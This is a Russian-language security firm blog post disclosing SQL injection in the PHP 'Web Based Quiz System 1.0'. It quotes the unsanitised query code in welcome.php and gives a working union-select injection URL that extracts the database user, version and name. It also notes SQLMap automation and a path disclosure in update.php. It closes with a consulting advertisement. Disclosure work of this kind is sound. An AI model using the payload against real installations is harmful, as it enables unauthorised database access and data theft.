Очень часто организации, будучи сильно ограниченными в финансах, вынуждены обращаться к публичным открытым проектам (opensource) для решения поставленных задач. Такие проекты бывают небезопасны и могут привести к компрометации приватных данных, утечке информации и другим более серьезным последствиям.
Наши специалисты из “Roundsec” проанализировали “Web Based Quiz System 1.0” и нашли критические уязвимости.
Эта система предназначена для проведения тестов и выставления баллов в опроснике. Подобные скрипты часто используются в учебных заведениях и социальных проектах, а также внутри компаний для опроса сотрудников.
Сами исходники можно взять здесь:
https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html.
Система достаточно проста в установке — процесс инсталляции можно увидеть по ссылке выше в описание. Наши тесты происходили на связке серверного ПО:
- Apache/2.4.46 (Win64)
- OpenSSL/1.1.1g
- PHP/7.4.11
- 10.4.14-MariaDB
После базовой установки видим окно с регистрацией и входом в аккаунт:

После авторизации происходит редирект на скрипт welcome.php, где мы видим доступные опросы со стороны администратора и можем создавать свои собственные.

Страница администратора
Давайте подробнее изучим, что происходит в коде.
Начиная с 93 строки, у нас принимается два параметра, которые из-за недостаточной проверки уязвимы к SQL инъекции в GET запросе, где полностью отсутствует фильтрация.
if(@$_GET['q']== 'quiz' && @$_GET['step']== 2)
{
$eid=@$_GET['eid'];
$sn=@$_GET['n'];
$total=@$_GET['t'];
$q=mysqli_query($con,"SELECT * FROM questions WHERE eid='$eid' AND sn='$sn' " );
echo '
';
while($row=mysqli_fetch_array($q) )
{
$qns=$row['qns'];
$qid=$row['qid'];
echo 'Question '.$sn.' ::'.$qns.'';
}

Уязвимый участок кода
Пробуем проэксплуатировать уязвимость и автоматизировать ее с помощью программы SQLmap. Составим запрос для вывода текущего пользователя БД, версии БД и имени текущей базы:
http://localhost/onlinequiz/welcome.php?q=quiz&step=2&eid=60377db362694%27+and+1=1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5+—+&n=1&t=34

Успешная эксплуатация уязвимости
И далее автоматизируем это в программе SQLMap:

Успешная атака в SQLMap
Изучая код дальше, наши специалисты обнаружили аналогичную уязвимость в скрипте update.php в котором при компрометации параметра мы получаем ошибку раскрытия пути (Full Path Disclosure https://owasp.org/www-community/attacks/Full_Path_Disclosure):

Таким образом, с помощью стороннего небезопасного скрипта “Web Based Quiz System 1.0” мы смогли получить доступ к целевой базе, что открывает достаточно небезопасных векторов для потенциальных атак злоумышленника, начиная от утечки баз данных и до полного захвата сервера.
Чтобы обезопасить себя от подобных ситуаций и свести риски компрометации данных к минимуму, перед внедрением решений от третьих поставщиков, рекомендуется консультироваться со специалистами. В этом вам с радостью помогут наши эксперты из компании Roundsec.
Поделиться публикацией в социальных сетях:
Хотите обсудить свой проект?
Заполните форму, и наши менеджеры бесплатно проконсультируют вас.